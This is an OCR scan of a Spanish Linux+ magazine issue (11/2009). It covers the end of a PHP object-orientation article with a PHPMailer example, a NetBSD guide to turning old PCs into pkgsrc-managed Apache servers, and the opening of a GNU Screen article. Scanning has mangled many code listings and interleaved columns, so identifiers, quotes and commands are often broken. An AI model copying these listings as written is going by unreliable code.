todas las ya explicadas y comentadas, es la
facilidad con que se puede encapsular todo,
para que en desarrollos posteriores no haya
problema alguno. La implementacion pasa

Figura 3. Area triangulo

aun segundo plano y se utiliza como una ca-
janegra que funciona de manera simple. Los
atributos: publicos, privados y protegidos;
que hemos comentado en un punto anterior,
son la base del encapsulamiento.

Imaginad que en una aplicacion web,
necesitamos generar un fichero PDF o inte-
ractuar con el servidor de correo de Gmail

0 Google App. Como es légico, seria cos-
toso perder tanto tiempo en desarrollar algo
de cierta dificultad y que ya existe. La solu-
cién, encontrar una clase que se encargue de
alguna de estas labores. Quien dice estas dos
labores, dice otras muchas, pero he puesto
estos dos ejemplos porque he tenido que ha-
cer uso de los mismos hace no mucho.

Listado 6. Herencia.php

<?php

class Figura

class Rectangulo extends Figura

{

function area(){

class Triangulo extends Figura

{

function area(){

}

$rectangulo = new Rectangulo(2,2);

$triangulo = new Triangulo(2,2);

<ul>

</ul>

</div>"
2>

{
protected $base;
protected $altura;
function __construct($base, $altura)
{
$this->base = $base;
$this->altura = $altura;
}
}

return $this->base * $this->altura;

return $this->base * $this->altura /2;

echo "<div>Para base = 2 y altura = 2:

<li>&Aacute;rea para el rect&aacute;ngulo:

' _ $rectangulo->area() . "</li>
<li>&Aacute;rea para el tri&aacute;ngulo:

' . S$triangulo->area() . "</li>
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Listado 7. Ejemplo de uso de clases de terceros

<?php

require_once “class.phpmailer.php*;

$correo = new PHPMailer );

$correo->From = "nombre_usuario@gmail.com";

$correo->FromName = '""Foo";

$correo->AddAddress (‘‘destinatario@domain.com™);

$correo->Subject = "Prueba para Linux+";

$correo->Body = "<h3>Enviando con Gmail</h3>";

$correo->I1sHTML (true);

$correo->1sSMTPQ) ;

$correo->Host = "ssl://smtp.gmail.com”;

$correo->Port = 465;

$correo->SMTPAuth = true;

$correo->Username = "nombre_usuario@gmail.com”;

$correo->Password = "x*xxxs .

if(1$correo->Send()) {

echo "Ha ocurrido un error:

3
else {

{ echo "<p>Correo enviado con

}

?>

. $mail->Errorinfo;

éxito</p>".

¢Como utilizar dichas clases? Lo primero
es encontrarlas. Por ejemplo, en el caso de in-
teractuar con el servicio de correo de Google
tenemos PHP Mailer (http://phpmailer.worx
ware.com/). Las clases se presentan en fiche-
ros fuente de PHP que deberemos agregar
convenientemente a nuestro codigo con al-
gunas de las instrucciones (elegiremos cada
una en funcion a nuestras necesidades) que
mostramos a continuacion y que seguro que
habéis usado en més de una ocasién:

* require(ruta_fichero);
e include(ruta_fichero),

Para base =2 y altura=2:

ﬁ:urea para el rectangulo: 4
Area para el triangulo: 2

Figura 4. Resultado ejemplo herencia

* require_once(ruta_fichero);
e include once(ruta_fichero);

Una vez agregado a nuestro codigo ya
podremos interactuar con ella. Primero la
instanciaremos y luego interactuaremos con
sus atributos y sus métodos. Con PHPMailer
podriamos hacer algo asi (ver Listado 7).

Como podéis apreciar se siguen pasos
que ya conocemos:

* Se referencia la clase desde el fichero
en el que esta implementada.

e Se instancia un objeto al que llamamos
correo.

* A través de sus atributos y métodos,
completamos los distintos datos impor-
tantes para el correo.

* Finalmente, llamamos al método send
y en funcion de lo que nos devuelva,
sabemos si se ha enviado correctamente
el correo.

www.lpmagazine.org
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Enlared

e PHP — http://php.net/

e Apache — http://www.apache.org/

* PHPMailer — http://phpmailer.
worxware.com/

Como podéis comprobar, tenemos acceso
afuncionalidades complejas que de otra ma-
nera no podriamos implementar y gracias
a los objetos la interaccion con el cddigo
de terceros es mucho mas simple y trans-
parente.

Conclusiones

Cualquier desarrollador de software sabe
apreciar el valor de la orientacién a ob-
jetos y las ventajas que conlleva. Un len-
guaje tan popular como PHP no podia ser
menos, y nos ofrece las herramientas basi-
cas para poder aprovecharnos también de
esta paradigma. Aunque existen algunos
detalles que no estan tan pulidos como en
otros lenguajes, si tenemos practicamente
las mismas posibilidades si usamos noso-
tros las alternativas oportunas para “tapar
esos defectos”.

En un mundo en el que cada vez méas
se piensa en el desarrollo de aplicaciones
cliente-servidor y en la “nube” de Internet,
el conocer a fondo este tipo de herramien-
tas, es mas que necesario para poder se-
guir desarrollando software orientado a las
ultimas tendencias y necesidades de los
usuarios. &
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NetBSD

y reutilizacion de equipos
iInformaticos

Paraddjicamente, aunque la vida Util efectiva de la mayor parte de computadores
personales y estaciones de trabajo suele estar comprendida entre los tres y cinco
afios, por la utilizacion de nuevo software cuyos requisitos se incrementan en cada
version, es sustancialmente inferior a su vida util real.

ara responder a la pregunta sobre el sentido de
desprenderse de un equipo o de un ordenador
personal obsoleto, presentamos el siguiente
articulo cuyo objetivo consiste en mostrar su-
cintamente cémo transformar ese equipo abandonado que
la mayor parte de nosotros tiene en un servidor dedicado.
En este caso, vamos a utilizar para ello sistemas ope-
rativos de la familia BSD y mas concretamente NetBSD
debido a su caracter multiplataforma.

Los sistemas operativos BSD:

NetBSD

Asi, mientras FreeBSD es un sistema orientado a equi-
pos de sobremesa, basados en arquitecturas 1A32 princi-
palmente, OpenBSD centra su atencion en la seguridad
informatica, NetBSD pretende hacer extensivo los sis-
temas Unix-BSD a la mayor parte de plataformas infor-
maticas existentes en el mercado. En estos momentos,
NetBSD 5.0.1 esta disponible para 57 plataformas, des-
de 1A32, VAX, Sun2 hasta equipos como la SONY Play-
Station 2.

Linux+ 11/2009

NetBSD

La filosofia de desarrollo BSD es radicalmente distin-
ta a la utilizada en los sistemas GNU/Linux. Asi, mientras
que en este Ultimo caso, los equipos de desarrollo estan
abiertos en teoria a todo aquel que desee participar en el
proyecto, los sistemas de BSD cuentan con un equipo
cerrado de desarrolladores que permiten garantizar, segiin
los responsables, una mayor calidad y fiabilidad del pro-
ducto final asi como preservar la tradicion de desarrollo
e investigacion que dio origen a esta familia de sistemas
operativos.

Conceptualmente, tanto los kernel de Linux como de
los sistemas BSD, pertenecen a la familia de los sistemas

D

En este articulo aprenderas...

e CoOmo aprovechar equipos obsoletos y convertir-
los en servidores dedicados,

* Instalaciéon y operacion basica con el sistema
operativo NetBSD,

*  Gestion de paquetes mediante la utilidad pkgsrc.
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Lo que deberias saber...

e Conocimientos de sistemas Unix a ni-
vel de desarrollador.,

e Compilacion de software mediante
GNU Autoconf / GNU gmake,

e Instalacion de sistemas GNU/Linux
o Unix,

» Instalacion, configuracion y adminis-
tracion de paquetes de software.

macrokernel, en contraposicion a GNU/Hurd
y Minix 3.0 que son microkernel, y como es
habitual en el mundo OpenSource, la mayor
parte.

La evolucion histérica de NetBSD co-
mienza en 1993 tras la liberacion de la ver-
sion 0.8 a partir de los sistemas 386BSD
y 4.3BSD Lite, desarrollado por la Universi-
dad de California en la que posteriormente, se
integraron las modificaciones de 4.4BSD Lite,
Gltima version liberada de este sistema de cara
a facilitar un sistema BSD que satisficiera los
siguientes objetivos:

¢ Portabilidad a una amplia gama de plata-
formas,

» Incorporaciones de seguridad informati-
ca por defecto,

» Calidad y exactitud en el cédigo fuente,

e Adherencia a los estandares internacio-
nales.

En el momento de escribir el presente arti-
culo, la version de NetBSD es la 5.0.1 ty pre-
senta las siguientes caracteristicas:

* Rendimiento mejorado en aplicaciones
multithread,

» Escalabilidad en sistemas SMP y proce-
sadores multi-core,

* Rendimiento 1/0 y en la pila de comuni-
caciones de red,

e Capacidades transaccionales para el
sistema de ficheros FFS (metadata jour-
naling),

»  Gestidn del consumo eléctrico mediante
Power Management Framework (ACPI)
para equipos portatiles,

»  Emulacion binaria de sistemas Linux.

Amén de otras capacidades avanzadas como
el gestor de memoria dinamica jemalloc, es-
critura en sistemas de ficheros UDF y soporte
para virtualizaciéon mediante Xen 3.3 para pla-
taformas 1A32 y AMD64.
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BIOS partitions

(MBR) Disklabel

s |,

e usr W
1 - NetBSD é’ 8
5k}
b swap % E
.................................................... al_ Iz =
0-D0S e

Figura 1. Organizacion de los discos IDE. Concepto de disklabel

Aplicaciones para \Vamos a partir de un equipo con procesador
los sistemas NetBSD Pentiumll dotado de un disco duro IDE, una
La familia de los sistemas NetBSD posee tarjeta FastEthernet en el que vamos a eli-
una amplia gama de software OpenSource minar teclado y monitor para convertirlo en
disponible (mas de 8.000 en la actualidad), un servidor dedicado encargado de ejecutar
al igual que sucede en los sistemas GNU/ un servidor WWW mediante la instalacion
Linux aprovechando los desarrollos bajo la de Apache.
cobertura de proyectos GPL y BSD. Ade-
més, la emulacion binaria de sistemas Li- Preparacion de la instalacion
nux permite la utilizacion de aplicaciones La instalacion del sistema NetBSD consta de
como Firefox o Adobe Acrobat Reader en dos fases: en primer lugar, la instalacion del
estos sistemas, sin necesidad de recompilar nicleo que contiene el programa sysinst cuya
o alterar el cadigo. finalidad es preparar el disco duro para la
instalacion del sistema operativo y que puede
Primeros pasos arrancarse desde CD-ROM, DVD-ROM, o
con NetBSD dispositivos USB.
NetBSD y en general los sistemas operativos La segunda fase es necesaria para acceder
BSD poseen dos caracteristicas que deben a todos los ejecutables necesarios para poder
ser tenidas en cuenta por los usuarios GNU/ trabajar con el sistema de modo interactivo;
Linux: ejecutables que pueden ser obtenidos a través
de lared via FTP o NFS.
e Elintérprete de comandos o shell por de- Obtener la imagen 1SO 9960 del sistema
fecto es la C-shell o /bin/csh, NetBSD 5.0 a instalar en la siguiente URL:
e La utilizacion del comando su(1) por un ftp://ftp.NetBSD.org/pub/NetBSD/iso/5.0/
usuario requiere su inclusion en el grupo 'y proceder a su grabacion. Habilitar el arran-
wheel. que desde dispositivos IDE CD-ROM en el

Figura 2. Primera etapa en la instalacion de un sistema NetBSD
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b Install selectod seis

Figura 3. Segunda etapa en la instalacion de un sistema NetBSD

se BIOE console
gy 1

booth locks

Figura 4. Durante el proceso de instalacion, tenemos que seleccionar la opcion (b) Use serial port com0

equipo a instalar e iniciar el arranque inser-
tando el CD-ROM grabado previamente.
Antes de proceder a la instalacion del
sistema NetBSD es de suma importancia te-
ner claro cdmo esta organizado el uso de los
discos duros IDE, para los sistemas BSD.
En estos sistemas, y esto es valido también
para FreeBSD y OpenBSD, como es sabi-
do, un disco IDE esta limitado a 4 particio-

nes primarias, lo que en teoria conduciria
a un maximo de 4 sistemas de ficheros por
disco, sin utilizar tecnologias RAID; sin
embargo, los sistemas BSD utilizan una de
estas cuatro particiones primarias para crear
un disco duro dedicado, denominado “dis-
klabel”, en el cual, pueden definirse hasta
8 particiones o slices, tal y como se muestra
en la Figura 1.

Tabla 1. Sistemas operativos admitidos por el gestor de paquetes pkgsrc

NetBSD

Solaris

Linux

Darwin (Mac OS X)
FreeBSD
OpenBSD

IRIX

AIX

Interix (Microsoft Windows Services for Unix)
DragonFlyBSD

OSF/1

HP-UX

Agosto 1997
Marzo 1999
Junio 1999
Octubre 2001
Noviembre 2002
Noviembre 2002

Diciembre 2002 BSD/
OS Diciembre 2003

Diciembre 2003
Marzo 2004
Octubre 2004
Noviembre 2004
Abil 2007

Linux+ 11/2009

En la Figura 1 se aprecia que el disco
duro posee dos particiones primarias, la par-
ticion 0, destinada a albergar un sistema de
ficheros MS-DOS o similar y la particion 1
destinada a albergar un disklabel de NetBSD.
Es precisamente dentro de esa particion,
que en el mundo Linux se reconoce como /
dev/hda2 donde se pueden crear hasta 8 sli-
ces destinadas a albergar sistemas de fiche-
ros para el sistema operativo NetBSD y que
aparecen en este sistema como /dev/wdOa,
/dev/wdob, y /dev/wdOe, para los sistemas
de ficheros raiz, swap y Zusr, respectiva-
mente.

Una vez comprendido este tema, impor-
tante en el caso de que no queramos destinar
el disco completo en exclusiva, es posible
iniciar la instalacion del sistema NetBSD en
el que, de forma interactiva, deberemos pro-
porcionar la informacién solicitada concer-
niente a la reorganizacion de los sistemas de
ficheros, comunicaciones TCP/IP asi como
las configuraciones locales de idioma, uso
horario y dispositivos 1/0.

Es precisamente durante esta fase donde
deben realizarse la configuracion de las in-
terfaces de red de nuestro futuro servidor de-
dicado como el particionamiento del disco,
la seleccion de protocolo de comunicacio-
nes: Ipv4 o Ipv6 y la configuracion de los
interfaces de red, segn se desee una direc-
cion de red IP estatica o dindmica obtenible
mediante solicitud a un servidor DHCP que
pudiera estar instalado en la red a la que va
a conectarse este equipo.

Tras este paso, se procede a la extraccion
e instalacion de los paquetes de la distribu-

D

Acrénimos
« CPD:

Centro de Proceso de Datos,
 DES:

Data Encription Standard,
* MD:

Message Diggest,
*  SMP:

Symmetric Multiprocessor,
» FFS:

Berkeley Fast File System,
 BSD:

Berkeley Software Distribution,
* DHCP:

Dynamic Host Client Protocol,
* USB:

Universal Serial Bus.



cion NetBSD o sets, seleccionados anterior-
mente en la Figura 2.

Por ultimo, es preciso seleccionar el
algoritmo de encriptacion de claves, a elegir
entre DES, MD5, Blowfish 27, SHA1 o el
tradicional y desaconsejado crypt(3) de los
sistemas Unix, asi como la clave y shell del
superusuario.

Configuracién de la consola RS-232
Puesto que en nuestro equipo no dispone-
mos de teclado y monitor, como disposi-
tivos de 1/O estandar, realizaremos la fun-
cion de la consola BIOS a través del puerto
serie RS-232. Para ello, durante el proceso
de instalacidn, seleccionaremos en la Figu-
ra 4 la opcion (b) Use serial port comO tal
y como se indica.

Por defecto, los puertos serie RS-232
estan configurados a 9600 baudios, 8 bits
de datos, sin bit de paridad y 1 bit de stop;
configuracion que puede ser modificada.
Por esta razon, y en lo sucesivo, para el ac-
ceso al computador necesitaremos un cable
MODEM nulo para, mediante un ordenador
portatil o un servidor de terminales, poder
continuar con la configuracion del siste-
ma, aspecto que veremos en la siguiente
seccion.

Una vez concluida la instalacién, es
necesario reiniciar el equipo, desconectar
nuestro monitor y teclado y tener en cuenta
que debemos proceder a conectar un equipo
destinado a proporcionar los dispositivos de
1/0 necesarios para implementar la consola
BIOS de éste.

En cualquier caso, y dado que uno de
los aspectos mas potentes de NetBSD es la
calidad de la documentacion, se recomienda
la consulta de “NetBSD Guide” disponible en
http://www.netbsd.org/docs/guide.

Configuracién de los equipos de 1/0
Estandar

Como hemos anticipado en la seccién pre-
cedente, nuestro futuro servidor dedicado se
halla desprovisto de pantalla y teclado, con
lo que el acceso a consola lo realizaremos
a través del primer puerto serie COM1. En
este caso tenemos dos opciones:

o  Utilizar un servidor de terminales,
e Utilizar un ordenador personal.

Los servidores de terminales son dispositivos
que poseen un sistema operativo dedicado
y que disponen de varios puertos RS-232
junto con una interfaz NIC de red Ethernet

para permitir la conexiéon a nuestra red
TCP-IP. Estos dispositivos son de gran uti-
lidad cuando disponemos de un parque de
servidores dedicados para cada uno de los
cuales, necesitamos proporcionar una 1/0
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Estandar, esto es, una consola, como suce-
de en el caso de los Centros de Procesos de
Datos (CPD).

En nuestro caso, vamos a centrarnos en
el segundo caso en el que supondremos la

Listado 1. Compilacién y verificacién del paquete Apache mediante pkgsrc

# cd /usr/pkgsrc/www/apache

# make

=> Bootstrap dependency digest>=20010302: found digest-20080510
===> Skipping vulnerability checks.

WARNING: No /var/db/pkg/pkg-vulnerabilities file found.

WARNING: To fix run: ~/usr/pkg/sbin/download-vulnerability-list".
=> Fetching apache_1.3.41_tar.gz

=> Total size: 2483180 bytes

Connected to mirror.nyi.net.

220-FTP server ready.

220 Only anonymous FTP is allowed here

230-Your bandwidth usage is restricted

230 Anonymous user logged in

Remote system type is UNIX.

Using binary mode to transfer files.

200 TYPE is now 8-bit binary

250-Please try to use a mirror if at all possible.
list

There is a complete

250-of mirrors available at <http://www.apache.org/mirrors/>,
and a script

cc -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -DNETBSD
-DEAPI_MM -02 -1/usr/include -1/usr/pkg/include ~../apaci”
-0 checkgid -L/usr/pkg/lib -L/usr/lib -Wl,-R/usr/lib
-L/usr/pkg/lib -WI,-R/usr/pkg/lib -L../0os/unix -L../ap checkgid.o

-DEAPI

-Im -lap -los -lcrypt -Imm -lexpat
<=== src/support
=== G

=> Unwrapping files-to-be-installed.
=> Creating /Zusr/pkgsrc/www/apache/work/apache

Listado 2. Instalacién de Apache 1.3.41 en el sistema NetBSD

# make install

The following files should be created for apache-1.3.41:

/etc/rc.d/apache (m=0755)
[/usr/pkg/share/examples/rc.d/apache]

=> Registering installation for apache-1.3.41
apache-1.3.41 requires installed package expat-2.0.1
apache-1.3.41 requires installed package libmm-1.4_.2nbl

www.lpmagazine.org
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utilizacién de un ordenador personal portatil
de Gltima generacion en el que, el primer pro-
blema con el que nos encontramos es la falta
de puertos serie RS-232, ya que en la actuali-
dad, la mayor parte de estos dispositivos han
sido reemplazados por puertos USB.

Para obviar este inconveniente, es preci-
so utilizar un conversor USB a RS-232 y ase-
gurar que en sistemas GNU/Linux, el moédulo
usbserial.o es cargado:

# modprobe usbserial
# Ismod usbserial
usbserial 30252 0

que estara disponible si nuestro kernel Li-
nux ha sido compilado con las siguientes
opciones:

#

# USB Serial Converter support
#

CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_GENERIC=y

Una vez conectado el adaptador USB
a RS-232 al puerto USB de nuestro portatil
GNU/Linux, podemos obtener los dispo-
sitivos /dev/ttyUSB[0-255] con el major
number 188 y la conexion serie a nuestro
futuro servidor dedicado puede realizar-
se mediante emuladores como minicom(1)
0 seyon(1), segin se prefiera utilizar la con-
sola de texto o un cliente X11, respectiva-
mente.

Para mayores detalles sobre el particu-
lar, es posible consultar la descripcion de es-
te modulo en Documentation/usb/ush-serial.
txt, que incorpora una lista de adaptadores
soportados.

Instalacién de software
adicional

El sistema de gestion de paquetes
pkgsrc

Una vez concluido el proceso de instalacion
de NetBSD 5.0.1 en nuestro servidor dedi-
cado es el momento de proceder a instalar el
software adicional que vamos a necesitar. Pa-
ra ello, necesitamos profundizar en el sistema
centralizado de gestion de paquetes pkgsrc,
para sistemas Unix.

Una de las diferencias fundamentales
de GNU/Linux con respecto a la familia de
sistemas BSD es la gestion de paquetes. Si en
el caso de las distribuciones Linux coexisten
los formatos Debian (Deb) y RPMS junto

con el tradicional tarball de las distribuciones
Slackware y, por consiguiente las herramien-
tas de gestion de paquetes constituyen uno de
loselementos diferenciales de unadistribucion
GNU/Linux, los sistemas BSD y esto es va-
lido para FreeBSD y OpenBSD también, po-
seen pkgsrc como Unico sistema de gestion,
que proporciona las siguientes caracteristi-
cas:

«  Fécil generacion de los ejecutables a par-
tir del codigo fuente,

Instalacion consistente con la estructura
de directorios establecida en sistemas
BSD,

Portabilidad absoluta a todas las plata-
formas soportadas por NetBSD,

Los aspectos de configuracion, encrip-
tacion y licencias estan descritos en un
unico fichero de configuracion,

El arbol completo del cédigo fuente de
todos los paquetes es disponible bajo
licencia BSD.

# pkg_info apache
Information for apache-1.3.41:

Comment:
Apache HTTP (Web) server

Requires:
libnm>=1_4.0

expat>=2.0.0nbl

Description:

Homepage:
http://httpd.apache.org/

# pkg_delete -r apache

Listado 3. Informacion sobre el paquete apache-1.3.41 instalado

The Apache HTTP Server Project is a collaborative software development
effort aimed at creating a robust, commercial-grade, featureful, and

freely-available source code implementation of an HTTP (Web) server.

Listado 4. Eliminacién del paguete apache en el sistema NetBSD

Executing ~/bin/rmdir /usr/pkg/lib/httpd 2>/dev/null || true*

The following users are no longer being used by apache-1.3.41,
and they can be removed if no other software is using them:

The following groups are no longer being used by apache-1.3.41,
and they can be removed if no other software is using them:

Linux+ 11/2009



Para iniciar el proceso de obtencion, debe-
mos seguir los siguiente pasos: Obtener los
ficheros del gestor pkgsrc. Dicha fuente pue-
de obtenerse como un fichero TGZ, o bien
de un servidor CVS o mediante el protocolo
SUP (Software Update Protocol). En el pri-
mer caso:

$ ftp ftp://ftp_NetBSD.org/pub/
pkgsrc/current/pkgsrc.tar.gz

Por simplicidad, vamos a utilizar el fichero
mas actual para pkgsrc, que se genera diaria-
mente. Si alternativamente, se desea actuali-
zar los ficheros de pkgsrc, recomendamos
la obtencion mediante un servidor CVS me-
diante el establecimiento de las dos variables
de entorno:

# setenv CVSROOT anoncvs@anoncvs.net
bsd.org:/cvsroot
# setenv CVS_RSH ssh

o bien, dejandolas fijas en el fichero .cshrc.
Recordaremos de nuevo que el intérprete de
comandos o shell por defecto de los sistemas
BSD es la C-shell.

La descompresion del fichero pkgsrc.tar.
gz en nuestro servidor debe realizarse desde
el directorio raiz:

# cd / && tar xvfz pkgsrc.tar.gz

Ahora estamos listos para obtener los
paquetes individuales que necesitaremos
para nuestro servidor dedicado y tenemos
dos posibilidades: utilizar paquetes bina-
rios o proceder a la generacién de éstos
en nuestro servidor a partir de su codigo
fuente.

Instalacion de paquetes binarios

# PATH="'/usr/pkg/sbin:$PATH"

# PKG_PATH=""ftp://ftp_NetBSD.org/
pub/pkgsrc/packages/OPSYS/ARCH/
VERSIONS/ALL™

# export PATH PKG_PATH

La lista de servidores FTP de la cual se ob-
tendran los binarios para los sistemas Net-
BSD estan definidas en la variable BIN-
PKGS_SITES.

Instalacion de paquetes a partir

del codigo fuente

Unicamente es necesario establecer la varia-
ble DISTDIR dentro del fichero mk.conf a la
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ruta en donde se encuentran los ficheros de Una vez hecho esto, nos posicionamos en el

distribucion.

# pkg_add openoffice2
# pkg_add kde-3.5.7

directorio /usr/pkgsrc/<pkg> y procedemos
a la generacion de los binarios. Procedamos
como ejemplo con el servidor HTTP Apache,
que va a estar instalado en nuestro servidor

# pkg_add ap2-php5-* dedicado (Listado 1)

Listado 5. Comandos y opciones de la herramienta pkg_admin(1)

usage: pkg_admin [-bgSV] [-d Isdir] [-K pkg_dbdir] [-s sfx] command
args ...
Where "commands®™ and "args® are:

rebuild - rebuild pkgdb from +CONTENTS files

check [pkg -..] - check md5 checksum of installed files
add pkg ... - add pkg files to database

delete pkg --. - delete file entries for pkg in database
set variable=value pkg ... - set installation variable for package
unset variable pkg ... - unset installation variable for package

Isall /path/to/pkgpattern - list all pkgs matching the pattern
Isbest /path/to/pkgpattern - list pkgs matching the pattern best
dump - dump database

pmatch pattern pkg - returns true if pkg matches pattern,

otherwise false

Listado 6. Configuracion de ejemplo GNU Grub con soporte multi-OS

defaul t=2
timeout=5
splashimage=(hd0,6)/boot/grub/eads . xpm.gz
hiddenmenu

title Fedora (2.6.27.25-78.2.56.%fc9.1686)
root (hd0,6)
kernel /boot/vmlinuz-2.6.27.25-78.2.56.Fc9.1686 ro
initrd /boot/initrd-2.6.27.25-78.2.56.fc9.1686.1img
title MS Windows XP Media
rootnoverify (hdo,1)
chainloader +1
title NetBSD 5.0.1
root (hdO,a)
kernel /netbsd
title RS-232 Serial over IP
# Sets up COM2 RS-232 port default parameters

# terminal --timeout=18 serial console

# title Remote IMPM machine

# kernel console=tty0 console=ttyS1,57600n8
title Reboot Computer

reboot
title Poweroff Computer

halt

# serial --unit=1 --speed 57600 --word=8 --parity=no --stop=1

www.lpmagazine.org
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Si la ejecucion finaliza satisfactoriamen-
te, a su posterior instalacion (Listado 2).

Un aspecto que no aparece explicado en
la documentacion sobre NetBSD pkgsrc es
que se genera el fichero binario apache 1.3.
41.tar.gz en el directorio /usr/pkgsrc/distfiles,
por lo que éste puede ser utilizado en otras
instalaciones de equipos idénticos mediante
el comando pkg add(1), como se explicod en
la seccion anterior.

Los ficheros intermedios generados co-
mo consecuencia de este proceso y que ya no
son necesarios, pueden eliminarse mediante
el comando:

# make clean

===> Cleaning for apache-1.3.41

En los casos en que la instalacion de un
paquete requiera la compilacién e instala-
cion de paquetes adicionales, estos fiche-
ros innecesarios pueden eliminarse me-
diante:

# make clean-depends

===> Cleaning for libtool-base-
1.5.26

===> Cleaning for libmm-1.4_2nbl
===> Cleaning for perl-5.10.0nb3
===> Cleaning for digest-20080510
===> Cleaning for gmake-3.81

===> Cleaning for expat-2.0.1

La fuente de la cual se derivan los pa-
quetes puede consultarse mediante el co-
mando:

# make show-var VARNAME=DISTDIR
/usr/pkgsrc/distfiles

La lista de servidores FTP de la cual se obten-
dran los binarios para los sistemas NetBSD
estan definidas en la variable BINPKGS_SI-
TES.

Eliminacion y actualizacion de paquetes
pkgsrc

La gestion de paquetes dentro del sistema
pkgsrc puede realizarse a partir de los coman-
dos ubicados en /usr/shin:

pkg_info(1)
pkg_add(1)
pkg_delete(1)
pkg_admin(1)

Como ejemplo, podemos obtener la informa-
cion del paquete correspondiente al servidor

Apache recién instalado en nuestro servidor
(Listado 3).

La desinstalacion de paquetes se reali-
za mediante el comando pkg_delete(1), que
posee una opcion muy importante, -r para
eliminar recursivamente todos los paque-
tes de los que depende un paquete concreto
y que ya no son necesarios. Asi para desins-
talar el servidor Apache instalado previa-
mente, el comando seria como en el Lis-
tado 4.

Existe una utilidad pkg admin(1) des-
tinada a la administracion de paquetes que
permite un amplio abanico de opciones
(Listado 5).

Dos aplicaciones particularmente inte-
resantes son la automatizacion de los che-
queos de seguridad asi como la posibilidad de
ejecutar una auditoria de la configuracion
del servidor tal y como se indica a conti-
nuacion:

e Descargar la lista de vulnerabilidades
conocidas:
# pkg_admin fetch-pkg-vulner-
abilities

+ Auditoria de seguridad de la configura-
cion del servidor:
# pkgadmin audit

Finalmente, existe una utilidad denominada
lintpkgsrc destinada a localizar si existen
nuevas versiones disponibles:

# lintpkgsrc —i

En caso de existir una nueva version para el
paquete, basta con ejecutar el comando:

# make update

de cara a actualizar el paquete a la nueva
version disponible.

NetBSD posee utilidades como cdpack
que permiten generar CD-ROM con los
paquetes necesarios para repetir la insta-
lacion, cosa particularmente Gtil cuando se
disponen de un amplio parque de servido-
res.

Sistemas de arranque

Los sistemas BSD cuentan con su propio
sistema de arranque integrado, conocido
como NetBSD Bootselector, capaz de re-
conocer también sistemas MS Windows
y GNU/Linux, que estuvieran previamente
instalados. No obstante, es también posib-
le, y, a veces, conveniente utilizar GRUB
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como sistema de seleccién de arranque.
Es perfectamente posible también, instalar
varios sistemas operativos. A pesar de que
el cargador o bootloader de los sistemas
BSD reconoce perfectamente otros siste-
mas operativos como GNU/Linux y MS
Windows, resulta recomendable utilizar el
cargador GRUB. He aqui una configura-
cién para un servidor con varios sistemas
(Listado 6).

En este caso, disponemos de tres siste-
mas operativos, GNU/Linux montado sob-
re la primera particion logica (hd0,6), MS
Windows XP sobre la primera particion fi-
sica (hd0,1) y NetBSD 5.0.1, como sistema
que se arranca por defecto. El abanico de
posibilidades, como puede verse, es muy
elevado.

Conclusiones finales

A lo largo de este articulo hemos presen-
tado unaalternativa de reutilizacion de equi-
pos obsoletos y su conversion en servidores
dedicados mediante el sistema operativo
NetBSD. El interés de este articulo radica
precisamente en que NetBSD es el sistema
mas ampliamente portado a otras platafor-
mas y no solo la tradicional 1A32 de los
computadores personales, por lo que puede
ser aplicable a Centros de Proceso de Datos
(CPD) de cara a conseguir una excelente re-
duccién de costes mediante el aprovecha-
miento de esos servidores abandonados pero
todavia funcionales.

NetBSD ademas cuenta con una capaci-
dad adicional; debido a su caracter multipla-
taforma, permite la generacion de ejecuta-
blesy librerias para otras plataformas, segun
el proceso de compilacion cruzada o cross-
compiling, descrito por Hubert Feyrer en su
articulo "Cross-development with NetBSD,
disponible en http://www.feyrer.de/NetBSD/
xdev.html, que completa al capitulo 30 de
“NetBSD Guide”. &
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e http://www.netbsd.org — NetBSD
Project Main Site

e http://mwww.bsdmag.org — The BSD
Magazine

* http://www.apache.org — Apache
HTTPD Server Main Site

e http://www.feyrer.de/NetBSD/
xdev.html — Cross-development with
NetBSD
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Uso de GNU/Screen

Jorge Emanuel Capurro

Aungue su existencia es casi nula para gran parte de la comunidad, GNU/Screen es
una excelente herramienta que va a facilitar la tarea diaria de lidiar con la consola a més
de un usuario. Esta herramienta simple pero eficaz realiza muy bien su principal labor:
Multiplexar Terminales. Aprendamos un poco mas de ella, qué otras funciones nos
brinda, como utilizarla, y asi, poder incorporarla a nuestro marco de trabajo diario, para
que todo sea mas sencillo y solvente. Empecemos...

NU/Screen es en gran medida una herra-
mienta que facilita la interaccién y ges-
tion de varios aplicativos en un mismo
terminal. Por razones obvias, muchos de
nosotros utilizamos la terminal a diario, llegando a
tener en algin momento varias terminales virtuales o
ttys ejecutandose a la vez. Mediante GNU/Screen po-
demos multiplexar una misma terminal, es decir, “di-
vidir” en sesiones distintas cada proceso que estemos
utilizando y asi abrir Unicamente una instancia del ter-
minal. A parte de ésta, que es la caracteristica primo-
rdial por la cual GNU/Screen ha nacido, posee otras
mas que son realmente de suma utilidad a la hora de
manejarla consola.
¢Por qué esta herramienta no la utilizan los usua-
rios en general? La razon es sencilla. Muy poca gente
siquiera sabe que existe, o peor, no entienden la pro-
blematica que solucionan en las tareas diarias.
En el transcurso de este articulo veremos la po-
tencia que posee esta herramienta y coémo poder apli-
carla al “mundo real”.
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Instalacion y Configuracion
En la mayoria de los Sistemas UNIX actuales viene
preinstalada esta utilidad. Simplemente abriendo nuestro
terminal favorito y tecleando screen ya tendremos que
tenerlo funcionando sin ningun inconveniente. De no ser
asi, podemos apelar al comando apt para instalarlo: sudo
apt-get install screen. O bien, podemos optar por descargar
el codigo fuente de la Web Oficial (http://www.gnu.org/
software/screen/) y compilarlo de la manera tradicional.
Como la mayoria de las configuraciones de nuestros
programas GNU/Linux, en nuestro directorio $SHOME
encontraremos un archivo titulado .screenrc donde po-
demos incluir nuestra configuracioén personal. La con-
figuracion global la editaremos en /etc/screenrc. De no
existir este archivo, lo crearemos. En el cuadro Listado 1
podemos ver una configuracion personalizada de GNU/
Screen. La misma simplemente configura una barra de
estado para que nuestra sesion sea mas amigable. Esta
configuracion no es necesaria para utilizar toda la poten-
cia de GNU/Screen, pero si le da un toque més atractivo
a la misma.



Primeros Pasos

Para iniciar GNU/Screen simplemente abri-
mos un terminal virtual, o bien, algunas de nues-
tras ttys e introducimos el comando screen.
De haber aplicado la configuracion descrita
en el apartado anterior Instalacion y Configu-
racion tendremos algo parecido a lo que se
muestra en la Figura 1.

Como veremos, si seguimos utilizando la
consola, parecera que no pasé nada y todo es
igual. Sin embargo, ahora nuestros coman-
dos se estaran ejecutando bajo el control de
GNU/Screen, con todas las ventajas que esto
implica.

